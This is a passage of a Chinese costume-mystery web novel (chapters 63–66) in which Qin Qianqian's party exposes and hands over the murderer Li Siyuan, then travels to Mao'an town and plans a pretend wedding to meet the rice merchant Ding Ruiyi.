李思源右手捂住肩膀上的伤口，还没来得及躲，就被秦千千郑重太阳穴，一下子打昏了过去。
那边季春霖也打得差不多了，他正准备脚底抹油溜走的时候，李家大门被撞开，门口站着的正是王予月。
季春霖心如死灰，好吧，看来自己这次是死定了。王予月手一挥，她身后身着铠甲的侍卫，就井然有序地跑进李府，开始各司其职。
“这位好汉，感谢你的出手相助，敢问姓甚名谁，从何处而来啊。”秦千千反扣住李思源的双手，把他脸朝下按在地上，直接骑在他背上。
王予月眼神考究地打量他：“是啊，这位公子我怎么从来没见过？”
四名侍卫过去羁押李思源，秦千千这才腾开手，从地上站了起来。她往季春霖这边走来，王予月也朝这边走来。
电光火石间，季春霖察觉到自己被演了。秦千千哪是被胁迫束手无策，她分明是做戏引自己出来的。可惜现在想明白这些，已经太迟了。
他心中纠结，不知道等着自己的会是什么。
逼问？还是痛苦的折磨？
不管什么，自己都不会出卖殿下的。
在他内心天人交战的时候，秦千千跟王予月交换了个眼神，两个人都心领神会。秦千千故意捂着嗓子咳嗽两声，引过他的注意力。
“咳咳，王小姐，这里你来收尾，我得去找个大夫看看。晚些时候，去你府上汇合吧？”
说罢，她抬手拐上了季春霖的胳膊，季春霖不知所措地后退，但攀扯到秦千千，差点把她拉倒。
“哎呦……”秦千千站稳后，才继续说：“好汉，带我去看看大夫吧。万一这路上有人埋伏我，那我岂不是还是很危险？一看你就是行侠仗义的侠客，就送佛送到西吧！”
季春霖心下一惊，她怎么连借口都给自己想好了？好吧，恭敬不如从命了。
两个人从李府离开，随便拐进一个医馆。
一路上秦千千安静得他心慌，季春霖真是恨不得她问些什么。在大夫给她把脉的时候，秦千千才跟他说了第一句话。
“恩人，能告诉我你叫什么吗？”
“……我叫季林，禾子季、双木林。”季春霖只得告诉她自己的化名，谁知她变本加厉地问他年岁。“嗯，我今年二十有五了。”
秦千千激动地一拍膝盖，“哎呀，那你只大我一岁，我以后就叫你季哥哥吧！”
嗯？季春霖脸色十分不解，自己什么时候跟她这么熟了？
她看出这人疑惑，就笑着跟他说了自己的想法：反正他浪迹江湖也颇为寂寥，那倒不如跟她们结伴同行，一同逍遥快活。
这想法听得季春霖背后发凉，倒不是因为这提议多恐怖，而是他完全不敢想象，自己跟秦千千一同出现在白邵禾眼前，他会有多震惊……
事后，他会有多惨……
“不行，当然不行。”他就这么干脆利落的拒绝了。
秦千千被他的突然吓得一哆嗦，桌子那边的老头，不耐烦地“啧”了一声：“你们看不看病了？”
“看看看，您请继续。”季春霖赶忙点头致歉。
秦千千颇为失落地回复他：“哦。那你待会儿能把我送回去吗？我的朋友们都在一个客栈里。”
这当然可以，季春霖打算送她到客栈就溜走。上次仲芷珍在客栈门口出现，事后殿下是怎么数落他们的，他还历历在目。
因此，他绝对不能让自己以身犯法。可惜他忘记了，秦千千是个想一出是一出的主。
俗话说，傻子克高手。秦千千有时候质朴无华的操作，偏偏能打乱他们的计划，这种情况的发生，不是一两次了。
刚到客栈门口，季春霖把中药串递给她，秦千千却腿一软差点倒在地上。他赶忙扶住她，无法，只能扶她上楼。
进了客栈的每一步路，季春霖就如同赤脚行走在火炭上一般，煎熬不已。行至二楼，突然一个熟悉的身影闯入眼帘，他认命地皱眉闭眼。
“老板，你……你回来了啊。”
元德差点没有原地昏死过去，季春霖怎么跟她一起回来了！他尽量稳住语气，神情僵硬地跟季春霖打招呼：“不知这位是……”
秦千千拿过季春霖手里的中药串，扔给了元德，“你快点去给楼下给我熬药。”
“可我……”
“可是什么，快点去。”秦千千不舒服地咳了两声。
元德走后，她晃了晃挽着季春霖的胳膊，让他跟自己去见见自己的朋友。季春霖有一手刀砍晕她的冲动，可他知道自己不能。
推开白邵禾他们的卧房门，屋中的王老怪和晏信都看了过来，两个人眼神惊讶，都在用眼神打探这位陌生人。晏信更在乎的是，秦千千怎么跟他关系这么亲密？
“千千，这位是……？”王老怪迷茫地眨眨眼睛，秦千千只顾着拉季春霖去看白邵禾，她不耐烦地跟王老怪摆摆手，让他待会儿再说。
白邵禾正在喝着晏信喂的药，虽然他喂得心不在焉的，但白邵禾丝毫不在意。唯一
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不好的地方就是，床框的纱幔挡住了他的视线，他很好奇秦千千又捡了什么人回来。
拉他往前走的过程中，秦千千察觉到他的脚步越来越沉，她不在乎，毕竟这里还有晏信呢，不信按不住他季林一个人。
“邵禾兄，我今日在李府差点遇难，还好有这位哥哥出手相助。这不，我带他过来跟你们打个照面，以后你们行走江湖，遇上了也算是故交。”
白邵禾歪头往她那边看，晏信刚好喂到最后一口，他直接盛到勺里，送到了白邵禾嘴边，他只得先低头把药喝了。
秦千千带着季春霖走到床尾，白邵禾抬眼看清那人长相后，突然被呛得直咳嗽。晏信赶忙起身顺了顺他的后背，秦千千顺势坐在床边，关切地看着他。
至于季春霖，他则是被定在原地，动弹不得。
“咳咳咳……”
王老怪赶忙过来看，还轻轻在晏信肩膀上拍两下，“就你这还说要照顾秦千千，你要是喂她把她呛着了，她能直接让人把你剁碎去喂狗！”
秦千千咬着下嘴唇瞪他，自己的名声，都是这些人的嘴搞坏的。什么江湖传闻她吃小孩儿、吃童男童女、还喜欢把人剁碎什么的……
也就是这些年，她为自己正名了好多次，这些离谱的言论才没有甚嚣尘上。
白邵禾稳住气息后，虚弱地说：“不怪他，是我自己不小心的。”说完这话，他骤然抬眸，看着季春霖：“兄台真是侠肝义胆，在下佩服。”
“不敢不敢，这也就是举手之劳而已。”季春霖想死的心都有了，他觉得过了今天，自己一定会死得更惨的。
一旁的王老怪忍住性子，没有当着外人的面问出来，这祖宗大早上不见，居然是跑去李府了啊！晏信张嘴想说什么，却被王老怪拉走。
床边的三个人顿时陷入一种诡异的沉默，一向积极主动的秦千千现在也是一言不发，她的眼神在两个人之间流转，看得季春霖心里发毛。
白邵禾看他马上就要露馅，就不得不想办法让他脱身。他微微皱眉，低头看向自己的胳膊。
秦千千的表情立马慌乱起来，她赶紧喊王老怪过来给他查看伤势。
“这样吧季哥哥，我给你开个房间，你就跟我们同行吧？”
白邵禾忍不住翻了个白眼，都到这等紧急的时候了，她眼里还只有这个新认的哥哥？季春霖察觉到殿下周遭的低气压，想都没想就拒绝了。
“秦小姐，我这也算是送佛送到西了，今日就此别过。”他要走，秦千千也不强留，她出门送他，送到客栈门口。“秦小姐，咱们山水有相逢。”
说罢，他就快步消失在人群之中。
桑风雪及时赶来，秦千千抬下巴指了个方向：“桑姐姐，那个人，你跟上去查查！”
“不好了，王老怪说白公子胳膊又出了很多血，你们快去看看吧！”元德一直被困在厨房，现在他不得不站出来给季春霖善后。
可秦千千立马焦急地点头，“走吧，我跟你一起上楼。”她转头冲桑风雪摆手：“桑姐姐，你快去快回。”
元德后槽牙都快咬碎了，但他别无办法可施。
63. 真正的李家家主来了
有王老怪的特配药在，再次崩开的伤口很快就止住了血。而王老怪一眼就看明白，他这伤口的二次伤害是怎么造成的。
“邵禾，你得小心一些！这伤口刚结痂，你胳膊剧烈行动的话，伤口会崩开的。”
他正在叮嘱白邵禾的时候，秦千千和元德刚好进来，秦千千接着他的话继续说：“是啊，你的伤口得尽快好转，咱们得去王家审李思源呢。”
等她把上午发生的事情全都说了后，晏信立马冲过来看她的脖子，他甚至还上手抬了下秦千千的下巴。
白邵禾皱眉看着他，可谁知秦千千对他这不妥的行为，并没有什么排斥，反而抬着脖子给他看。
“放心吧，没什么事情的。虽然说包了那么多药，其实就是我想把那个人带回来的幌子。”说到这里，她偏头从晏信手中“解救”出自己的下巴，跑去床前。
“那个人你眼熟吗？我觉得他是穆元基的人，所以想带回来给你掌掌眼。”
直到这时，白邵禾才彻底放下心来，门边一直拘谨站着的元德，也长出了口气。
可他深刻意识到，在秦千千面前说多错多，于是他开始装愚钝，说自己没有见过这个人。比起确切的答案，他给了似是而非的说法。
秦千千无奈地叹气，好吧，那就先处理李思源的事情吧。
“没事，反正只要他活着，我就能找到他。我跟他，就来日方长吧！”
白邵禾脸色十分难看，她这话一说，自己无论如何都得留他一命。万一她那天动心思查起来，却找不到人，第一个怀疑的就会是穆元基。
而查到穆元基，指不定就能连带上自己……
这种被裹挟的感觉，让白邵禾觉得烦躁。因此在去王府的路上，他一直都默不作声，眉头紧锁。秦千千走在前面，自然没察觉到他的表情。
刚进王府，邀月直接请她们去了中天堂，那是王府专门审讯犯人的地方。众人过去后，白邵禾的心情又阴沉了一个度。
什么中天堂，简直就是翻版的衙门！
只不过堂上的长案换成了两个主座。平时堂上手持水火棍衙役站的地方，各放了三把椅子。
白邵禾气得不轻，枫林镇这些人究竟把朝廷看做什么？一个是张家直接保管案卷，而王家更是厉害，直接把官府搬到自己家中了？
王予月朝秦千千勾手，示意她跟自己一同坐在主座，而剩下的几个人则是按顺序入座。白邵禾坐在离主座最远的位置，冷眼看着一切。
他倒要看看，这王家究竟有什么本事，究竟能审出来些什么。可他没猜到，今天的主导不是王予月。
“王小姐，你让人把李思源带上来吧。”秦千千转头跟她说，王予月点头，邀月才去提人。
两个侍卫把李思源带上来的时候，大家都大吃一惊，他们原本以为，这李思源怎么着也得被严刑逼供一下的。
可谁知道这人还是一副仪表堂堂的样子，不像是从牢房押出来的，更像是从他家里请过来的……
白邵禾心中很是不屑，这就是所谓的妇人之仁！
王予月冲秦千千点头，秦千千这才开始了盘问，“你之前对你所做的事情供认不讳，是吧？”
这人掐着自己脖子的时候，把该承认的、不该承认的，全都包揽下来了。她懒得跟李思源拐弯抹角，直接把话摊开了说。
“什么事情，我怎么不知道？”李思源双眼迷蒙，看起来无辜极了。秦千千也猜得到他现在这出，她招手让人拿上来证物。
李思源也想明白了，那些白玉膏、扇子什么的，完全不能定他的罪。虽说王予月权势大，但她素来也是公正持中，没有一次草菅人命的。
只要自己抵死不认，他就能确保自己活下去。
可几样证物端上来后，有两样东西看的王予月心生疑惑。
“这麻绳不是收案后就烧了吗？这是你们新买的绳子？”王予月起身看另一个托盘里躺着的一张纸，更是疑惑了：“这个手印是什么东西。”
麻绳是元德用白玉膏测试得到的，他们已经去现场试验过，是正好能吊起人的长度。而那张手印，就是当初秦千千在案发地主梁上找到的。
“你从哪里弄到的手印，就光凭你用嘴说凶手，就是了吗？”李思源站得笔直，不屑但又有两份心虚地攻击秦千千。
她完全不受影响：“王小姐，喊人按住他比对一下就是了。”
李思源抵死不从，那两名侍卫只好把他按在地上，这才比对了手印，完全一致。
这就对了！
秦千千把上午跟李思源分析的事情，跟王予月复述了一遍。王予月一边在堂中踱步，一边听她言语，还时不时抬头看她一眼，投去赞赏的目光。
白邵禾紧皱眉头，怎么看起来秦千千像是在给王予月汇报一样？
他原本以为秦千千是想让王予月做个见证，敲定事实后对李思源实施惩罚。
但现在看来，并不是那样。
最起码，他没有见到过那么忐忑的秦千千。她跟王予月说话的姿态，非常像下属跟自己汇报的姿态。
秦千千说完，王予月满意地点头，还夸奖她说的八九不离十。
“狗屁！一张手印就能给我定罪了吗？我不认，王小姐，你要为我做主啊！”
李思源在地上挣扎，王予月厌恶地让人堵上他的嘴，今天召集各位，可不是听他声嘶力竭的。
“我是要做主，但不是为你。”
邀月过来汇报，说是张老太太和张婧慈已经到了，王予月直接让他把人请到这里。秦千千十分有眼力见地把主座让给张婧慈，自己则是站在王予月身边。
往常的三东家会面，都是庄重而严肃的。像今天，其中一个东家被按在地上的场面，可不常见。
王予月笑着跟老太太解释：“今天我们得替李老爷清理一下门户，李老爷下落不明，他们家出了个奸佞，这我不能袖手旁观。”
李思源原本一直在挣扎，奈何嘴被堵上发不出任何声音，可听到这句话后，他就停住了挣扎的动作。他知道了，这些人是准备杀了自己，然后平分李家的家产吧！
白邵禾也抬眼看着王予月，好一个驱虎吞狼，她王予月在秦千千身后坐享其成啊！
“他的罪名定了这事儿我清楚，只不过偌大的李家不能就这么晾着吧？”张沛儿这话一出口，在场的
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人都转头看着她。
王予月无奈地摇头，秦千千看她的表情也是一言难尽，白邵禾直接皱起了眉头，这张家的接班人怎么这般没有城府？
就连一向单纯、不谙世事的桃花花和晏信，都互换了个不可思议的眼神。
地上的李思源又挣扎起来，很显然，他对这些人的狼子野心十分不满。
张沛儿低头看张婧慈时，才发觉自己失言，立马闭上了嘴。作为张沛儿的盟友，王予月自然得替她说两句话。
“沛姐姐这话说得对，李家好歹也是一大东家，所以肯定得有自己的主人的。我有一人举荐，准保合适。”她话音刚落，就有一个身着青色长袍的人出来。
那人停到秦千千的左手边，秦千千恍然大悟，这不是画中人——李瑶瑾吗！
“李瑶瑾，你居然还活着！”秦千千惊讶地张大嘴巴，在座的人这才知道她是谁。
张婧慈瞳孔微缩，她就知道王予月要收拾李思源，绝对是留有后手的，而且目的绝非是吞并李家。她若想，这么多年她有无数个更高明的计策，完全用不着这么兴师动众。
王予月笑着跟秦千千说：“所以你知道我为什么说你的推测，八九不离十了吧？差的那两分就在李瑶瑾身上。”最大的悬念揭晓，王予月让人松开了李思源的嘴。
被扶起来后，他浑身颤抖着跌坐在地上，嘴上一直念叨着不可能，这怎么可能。李瑶瑾面色冷峻地看着他，朝他走去。
想当初，这人把自己按在水里要淹死自己的时候，他有没有想过这一天呢？
李瑶瑾懒得问这个问题，她在王家蛰伏这么多年，等的就是这一天。
“我的好哥哥，听说你刚刚还不认罪？你想要什么证据，哪个我都可以说给你听。”
熟悉又陌生的声音传来，吓得他喘上不来气。扪心自问，他杀了李思清和他的两位夫人，都抵不了李瑶瑾在他心中的恐惧程度。
毕竟，午夜梦回的时候，只有李瑶瑾在他的梦中嘶吼呼喊，让自己给她偿命。
眼下，李思源只能咆哮着给自己壮胆：“滚，你给我滚！”
李瑶瑾利落的转身，朝在座最有话语权的两个人——王予月、张婧慈行礼。“瑶瑾承蒙王小姐搭救，才能活到今天，只不过今日有个不情之请，希望两位东家可以把李思源交给我。”
不知道别人怎么想，反正秦千千透过她的眼睛，就知道李瑶瑾不会放过他的。这样的话，她就放心了。
王予月和张婧慈眼神交流后，一致同意了这个提议。
那边地上的李思源也疯了，他起身指着李瑶瑾开骂：“我不能让李家的生意毁在你的手里！我是李家唯一的话事人，你是取代不了我的！还有你们，休想借这个事情吞并我们李家！”
可任凭他怎么叫嚣，事情也是于事无补，秦千千喊元德和晏信，把他帮李小姐押回府。李瑶瑾拜别众人准备回家，那个十几年没回去的家。
秦千千却执意跟她并行一段，背着人往她手里塞了一个东西：取神丹。跟她说完使用方法后，秦千千才深藏功与名的离开。
像这种作恶多端的人，清醒的活着，才是最大的折磨。
64. 启程，继续出发
她们一行人没有被三东家的盛情挽留绊住脚，也没有为了白邵禾的伤势停留，秦千千她们在第二日早晨，备好了盘缠出发。
只不过临行前，她却非要去那个银饰店，说是要去谈生意。结果可想而知，黄忠和仲芷珍自然是百依百顺，直接答应了她几个月后再见，随她进京开铺子的邀请。
白邵禾心中无语，枫林镇最该被秋后算账的三个人——季春霖、黄忠、仲芷珍，全都被她无意之间保护了下来……
他说不上来秦千千是不是故意的，但这的确像是她能干出来的事情，为了一些小事，有这近乎圣人的慈悲之心。
至于下一站要去何处，秦千千却没有细说。她这一路都忙着跟她们讲王小姐的传奇故事，甚至没空跟马夫说目的地，只告诉他一直往西南走就对了。
“反正你们跟她山水不相逢，我跟你们多说一点应该也没什么。”
她当然不是说王予月密谋的大计划，而是她明面上的宏大计划。
在不远的来日，坐镇三东家的掌事者，全都是女人。
“那是不是可以这么说，剩下两东家的家主，全都是王小姐的自己人？”对权力拥有绝对敏感性的白邵禾，好奇地问。
秦千千满意地点头：“就是这个意思！王小姐可是花了好多年时间，下了这盘大棋，直到如今才真正做到了顶起枫林镇的这一片天。”
一向活泼的晏信，听到这话反而是沉默了，不知道他在想什么。
桑风雪扫了眼桃花花，看她不以为意的样子，就知道她肯定又要发表什么惊世骇俗的话了。
“依我看也就一般般吧，这枫林镇顶破天也就那一亩三分地，她要是真下一盘大棋，就应该屯兵，让这世间改朝换代一下嘛！”
听到这话，秦千千往前扑想要揍她，可刚好遇到马车颠簸，又把她甩回位置，头还撞在马车旁边。她一脸痛苦地揉着自己的后脑勺，嘴中还在数落桃花花。
众人被她和桃花花的这一通，吸引了注意力。除了元德，谁都没有注意到，白邵禾那不悦的脸色。
“桃花，你真是胆子肥了是吧？小树不修不直溜，今天你说王小姐，改明儿就要说我准备造反了吧！桑姐姐，你帮我揍她两下。”
听她发泄完，白邵禾无奈地摇摇头，浅浅出了一口气。他看得出来，秦千千平时虽然吊儿郎当的，但什么该说，什么不该说，她心中还是有谱的。
闹腾到傍晚，饶是精力充沛的秦千千也闹腾不动了，她打着哈欠给车夫交代目的地——茅安镇。
白邵禾看她哈欠连天的样子，就没有再追问这是什么地方。
其他人好像都没听过这个地方，可王老怪却刻意地咳了两声，就差把“我知道”说出来了。
可除了睡着的秦千千，剩下的人没一个让他如愿的。
白邵禾实在忍不住，就张嘴准备说什么，在王老怪期待的眼神中，他转头看向对面的元德：“元德，把水壶给我。”
“哎呀你们这些人真是的，就不能捧一次我的场吗？”王老怪气绝，晏信和桑风雪一前一后开口安慰他，他这才消气准备讲茅安镇。
“茅安镇就是一个世代种稻谷的地方，说是那里产的香米，每年还进贡一些给朝廷呢。”说完，秦千千睁开一只眼，看着被气得要撅过去的王老怪，会心一笑。
王老怪双手握拳，使劲儿跺了跺脚，以发泄自己的不满。
“客官儿，你是要上茅房不？”车夫说话有些口音，配合目前的情况，让车里的人都有些想笑，不过她们还是忍住了。
“不是不是！”秦千千赶紧开口回他，而后又抿紧嘴唇偷笑。
白邵禾也被这逗笑，只不过他的笑意不及眼底。
茅安香米，的确是朝廷里年年都有的贡品。只不过他没想到，秦千千要去茅安香米的原产地。而他始终相信，秦千千的每一个落脚点，都是有说法的。
按照他目前掌握的消息来说，秦千千此次外出，是因为清风酒楼的清风酒出了些问题，她要挨个排查生产酒的各个环节，到底是哪里出了问题。
稻谷，是清风酒最不能少的一步了吧？
之前的涌泉镇，自己的人跟丢了秦千千，肯定让她排查过酿酒的泉水了。而现在的茅安香米，白邵禾决定亲自跟死这条线索。
两日舟车劳顿，众人终于到了茅安镇。刚到镇子口，她们就不由得叹为观止。
与其说这是个产出贡米的镇子，不如说这更像是个一望无际的村落……
放眼望去，除了主道两旁的铺子之外，四周全是一马平川的田地，地里庄稼规整有致，看着仿佛是一户人家种出来的一样。而且目力所及之处，人们全都穿着布衣，一副马上要下地干活的样子。
白邵禾察觉到什么不对劲儿，这里的人看起来怎么都愁眉苦脸的？他转头看向秦千千，发现她的表情也是若有所思的样子。
他心中有了计较，怕是因为这里的稻谷出了问题吧？
可谁知他们进去找客栈的时候，顺便跟掌柜的聊了几句，却发现自己的猜测完全错误。
“就这么跟你说吧，全天下的稻谷出了问题，我们这里的稻谷都不会出问题！”老板说的那叫一个信誓旦旦，他甚至提出了更有诱惑力的要求。“这样吧，客官，你们先别急着回房，我请你们吃顿饭，你们就全知道了。
白邵禾一听，就知道秦千千一定会同意的，他甚至都怀疑，这清风酒楼的家大业大，是不是都是省出来的？
“好啊好啊！”想着能不掏钱搓一顿，秦千千高兴的就差没跳起来了。
小二拿着七个碗过来的时候,她们还没有察觉出什么异样。可当老板端着一汤碗大米饭过来时，秦千千察觉到了不对劲儿。
她不自觉抿紧了嘴唇，心想不会是真的干吃大米饭吧？
看着她这悄然懊悔的样子，白邵禾微微勾起嘴角，希望她下回长记性，莫要再贪小便宜了。
“小二，我们这里再点几个菜。”白邵禾转头跟分发碗筷的小二说，秦千千抿着嘴朝他投来感激的目光，他不动声色地看在眼里。
谁知道那小二却歉疚一笑，拒绝了。
“客官，这是我们镇子上的传统，新入住的第一餐，都是大白米饭，而且也是免费的。所以各位，请你们尽
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情地吃！”老板把米饭放在正中间，笑着跟他们解释。
秦千千费解地用手挠了挠眉毛，“那你们镇子上的乞丐，可真是饿不死了啊！”
随便进一家客栈，就能吃到香喷喷的大米饭，多好！
王老怪被呛的只咳嗽，这秦千千的脑子整天想的都是些什么！不过还真别说，他当初浪荡江湖的时候，怎么没来这里享受呢？
对了，这里的人过于淳朴，他这个招摇撞骗的“老骗子”，实在不忍心骗这些善良之人。
“客官说笑了，我们镇子上没有乞丐的。那都是我们镇上最大的米商——丁家米铺的功劳。若真是有流浪过来的乞丐，去丁家，会被好好招待，招去丁家干活的。”
老板这话，听得晏信是连连点头，他的确对丁家米铺有所耳闻。老板热情到恨不得把饭，喂进每个人的嘴里。
众人只好按他的意思吃了两口饭，而且由衷地赞美这饭的确是好吃。
入口弹爽，再嚼回甘，甚至还有与普通稻谷不同的香味萦绕鼻尖。
“上品！绝对的上品！”秦千千狂吃两大口，把老板哄得那叫一个开心，“就是有点噎。”
老板立马招呼小二给她们端茶倒水，自己则是招待新进屋的人去了。白邵禾把倒好的水先给她，让她喝茶顺顺。
秦千千痛饮一杯后，给晏信抛过去个意味不明的眼神，看得晏信一愣。
“晏公子，刚刚若有所思地思考什么呢？”
晏信一听她喊晏公子，就知道她一定会得逞的。没办法，不知道从何时开始，她就发现自己对晏公子的这个称呼，完全没有抵制力。
基本上是百依百顺。
“就是他说的丁家米铺，我知道点那个的消息。”
“愿闻其详。”白邵禾直接截胡秦千千的话茬。
虽然说不上来原因，但他不是很想看到，她软言细语地跟别人说话。
秦千千没所谓地点点头，示意晏信快点讲：“你最好讲点有意思的啊，要不然配着这美味大米饭，实在有点咽不下去。”
丁家米铺是负责收购附近所有散户稻谷的大米行，而且这个米铺算是有口皆碑。
不压低稻谷价格、不欺压农户，一直以来周围的农户都只把自己的稻谷卖给丁家米铺。
米铺的老板也是个乐善好施之辈，不仅仅是刚才老板说的收留乞丐，丁家还有很多仗义慷慨之举。
“就比如说，要是有路过茅安镇，年过八十的老人，可以去丁家领十两银子。还有若是有有情人愿意，他们甚至还可以帮忙承办婚嫁，其中不收任何费用。”
听到这里，大家都很疑惑，尤其是同为生意人的秦千千。
这丁家是在用银子，换去江湖上好的口碑吗？可是这承办宴席、还给老人发钱，这也有点太大方了吧？
看着她疑惑的表情，晏信不由得叹气。他之所以知道这些，是从他爹那里知道的。他爹跟秦千千的反应一样，很不能理解。
当然他爹最不能理解的，还得是丁家太有良心，不愿意把米家做低一文钱，伙同他们牟取暴利。总之，晏信是非常敬佩丁家的。
65. 丁老爷，你能帮我们承办婚事吗……
在场最有感触的除了晏信，应该就是秦千千了。她也做了几年老板，深知这种始终如一的善行有多么来之不易。
因此，她心中突然冒出一个想法，很想见见这位丁老爷。或许，她可以跟这种良心商家，做一些买卖。
听到她的提议后，晏信表示见他一面不难，“丁家老爷丁芮熠，温润如玉、性格和善，只要是有空，应该会见我们的。”
他这话刚说完，那边刚接待过新客的老板，立马过来打岔：“哎，那是之前了。近来丁老爷家里不和睦，他夫人最近跟他生气呢，所以丁家不待客。”
秦千千没打算在茅安镇逗留很久，因此她想尽快见到丁芮熠。
剑走偏锋这种事情，她最擅长了。
“那要是老人大寿和新婚燕尔，能见到他们吗？”
老板笑呵呵地说：“这当然可以！”
打发走老板后，秦千千把吃光的饭碗往前一推，压低声音跟所有人说：“咱们现在有两个借口，我就不信见不到丁老爷了！”
众人都在疑惑她话中意思的时候，白邵禾立马领会了她的意图，他抬头端详王老怪，这王老怪也看不出是八十岁的老人吧？
再者，那个新婚燕尔，秦千千是准备挑哪两个人去演戏呢？
白邵禾想不清楚她的谋划，而秦千千直到回屋才跟她们摊牌。
她的计划分为两部分：王老怪可以用伪装术扮成老头，去丁府打探情况，探知的事情越多越好；若是消息不够多，那就由她出马，亲自去接触丁芮熠。
“千千，我能问你为什么非要见他吗？”晏信因为自己父亲跟丁芮熠的过节，他有些不是太想见丁芮熠。
白邵禾也好奇地看着秦千千，而且他还注意到，平时跟秦千千同气连枝的桃花花，现在也一脸疑惑。
看来，秦千千的计划暂时没有告诉任何人啊！
不过她是什么人，在座的都清楚，她糊弄人的技术那可是一绝。
只见秦千千眼睛环视一周后，忍不住笑出声，“哎呀，我这不是就是听到晏信说的事情，对这个米铺老板好奇，想跟他学习一下经商之道嘛。”
晏信稍有勉强地点头，他也的确是佩服丁芮熠的。现在看来，她也想向丁老板看齐，这让他更钦佩秦千千了。
他就是厌烦自己爹那种奸商做派，才离家远出的。越了解她，晏信就越觉得自己跟着她准没错。
“那千千，你准备挑谁做你的新郎呢？”桃花花看热闹不嫌事儿大的问，王老怪赶忙摇头，“我可没空啊，别打我这个八十岁老人的主意！”
秦千千嘁了一声，她才不找王老怪呢。她打两个剩下的人，岿然不动的白邵禾，不知所措的元德，还有抿嘴沉默的晏信。
“晏信，你应该会跟我一起去的吧？”
她一改说一不二的常态，甚至还提前询问了一下晏信，晏信猛地抬眼，眼中全是不可置信。反应过来后，他立马点头同意。
难以想象！
他原本以为秦千千会选，稳重过自己、又可靠过自己的白邵禾……
白邵禾原本也是这么认为的，可当他听到秦千千的选择后，他微微眯了下眼睛，低垂的眼神也深邃了起来。
那不是失落，他心中警铃大作，在思考是不是自己暴露了什么。
或许是察觉到气氛有些变化，秦千千赶忙跟他们解释：“晏信认识丁芮熠，这比较方便我跟丁芮熠相识，邵禾兄，届时客栈里的这些人，就要劳烦你照顾了。”
白邵禾一抬眼又是神色如常，“当然。”
虽然不知道为什么时间紧迫，但秦千千几乎是商议完事情，就立马催促王老怪去扮装。他刚扮好，秦千千就催促着他快去丁府。
一旁的“准新郎”晏信，则是时常心不在焉的样子，王老怪离开前，晏信在心中下定决心，跟秦千千说他要出去一下。
秦千千想都没想就答应了，只叮嘱他一句，早些回来。他突然拉起秦千千的手腕，搞得她疑惑地问他怎么了。
“没什么，我出门了。”
冷眼旁观的白邵禾干脆闭上眼睛，盘腿坐在罗汉榻上静息。
秦千千送走王老怪后，跟元德交代，该给白邵禾换药了。说罢，她就带着桑风雪和桃花花回她们的房间。
元德把门关上后，白邵禾的眼睛就缓缓睁开。
这次客栈里的她们的卧房没有挨着，元德说话也就不用再小心翼翼的了。
“公子，我给你换换药吧。”
白邵禾无声抬起了胳膊，这点小伤对他来说不算什么，凶手下刀没分寸，白邵禾自己可是非常有分寸的。
“你说枫林镇的案件，她为什么要火急火燎的收案呢？”白邵禾疑惑地问。
元德抿了一下嘴唇，这种问题是他最害怕的。不仅有对错，还要考虑殿下究竟想听什么答案。但他也不敢让白邵禾等太久，只能硬着头皮回答。
“属下猜测，是不是因为公子受伤，直接让她关心则乱了？后面她就直接一人冲去跟李思源对峙，几乎是独自完成了善后工作？”
听他说完，白邵禾抬眼扫了一眼元德，眉目间的肃杀少了一分，元德心中悄悄喘了口气。
看来，自己是说到殿下想听的了。
还没来得及窃喜，元德突然想到一个很恐怖的事情：殿下不会对秦千千，产生了别样的情愫吧？
察觉到他手上的动作停下，白邵禾洞悉到他心中有事儿。
“前两日刚警告过季春霖，现在你也开始了？有什么事情就直接说。”白邵禾又严肃起来。
元德羞愧地低下头，“属下不敢说。”
“饶你不死，说。”
“……公子，我刚刚在想，你是不是有些喜欢秦千千。”
白邵禾简直无语：“嗬，这不可能！还有，你别跪在地上了，快点给我换药。”之后他又恢复了闭眼沉思的状态。
元德快速给他包扎好，本想包好后，自己出去冷静一段时间。反思一下自己，为什么开始关心那些情情爱爱、捕风捉影的事情。可他没想到，还没包扎完，王老怪就回来了。
王老怪一进门，就用手抹掉脸上构造沟壑贴上去的胶质，先
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跑去洗脸盆里洗了把脸。用袖子胡乱擦一擦脸后，他才有空跟元德他们感叹。
他压根连丁家的大门都没进，更别说打探出更多的信息了。
白邵禾的脸黑了一个度，看来必须得秦千千出马了呗？察觉到他情绪变化的元德，恨不得给自己一个巴掌。
自己怎么又开始想那些有的没的了？殿下一定是在担忧他们的计划，而不是被一介女流牵动心绪。
秦千千知道这事儿后，没有表现的特别惊讶，“没想到这丁老爷这么阔气，只要去府门口拜访呈报年龄，就能领十两银子啊！”她看着桌子上的钱，不由得感叹。
“严格说的话，我其实也算是打探到了一点点消息。”收到秦千千一记眼刀后，他麻溜地往下说：“我在门口就听到，府中有人吵架，一个女声与一个男声。”
具体聊的什么不太清楚，但他猜那就是跟丁芮熠跟他的夫人。除了家主，谁还能在府中大声喧哗呢？
秦千千环视一周才发现，晏信居然还没回来。
白邵禾心中已经有了计较，晏信怕是给秦千千买定情信物去了。
在秦千千看来，这可能只是一场逢场作戏。可对晏信来说，如果他真的不蠢的话，那就应该能知道，这应该是他这辈子唯一的机会。
他做出什么样的事情，白邵禾都不奇怪。
不一会儿，晏信就回来了，他的表现跟平常别无二致。而秦千千也没空看他的小动作，她急急忙忙要拉着晏信去丁府。
“不着急的话，你们明天去吧。前两日舟车劳累，晏公子也才刚刚回来，非要今天去吗？”桑风雪实在疑惑，不知道秦千千怎么突然那么着急。
好像自从来了茅安镇，她就被打乱了阵脚。完全没有之前淡定安然的样子。
看到秦千千自己人都在疑惑，白邵禾也跟着附和了一句：“是啊千千，非得急于这两日吗？”
秦千千急的跺了下脚，她拉着晏信的手，问他走不走。别说跟她走，哪怕她开口让晏信去死，白邵禾都觉得他会毫不犹豫地照做。
“好。”
就这样，两个人没在跟任何人解释，直接出门走了。
秦千千心中清楚自己着急的原因，归根结底还是她离经叛道了一次。巡商的路线是确定的，是她自己执意来茅安镇的。因此，就不能在这里过久停留。
两个人手牵手，一路狂奔到丁府。门外支着的案桌正要被抬走，看到有来人，管家立马招呼人停下来。
“请问两位有什么事情吗？”丁二牛长相淳朴憨厚，他满脸堆笑地问。秦千千也丝毫不跟他含糊：“你们家丁老爷，能帮我们承办婚事吗？”
那人先是一顿，而后连连点头，“我马上通报老爷，二位请稍等。”
丁芮熠分辨出来人后，震惊之情溢于言表。
前些日子，他还跟晏公子的爹因为生意不欢而散，现在自己突然要承办他儿子的婚事……只怕自己办了，会被晏阳宏追杀的吧？
晏信看出他的动摇，于是斩钉截铁地求他：“丁老爷，你能帮我们承办婚事吗？”
66. 气氛怪异的丁家两口子
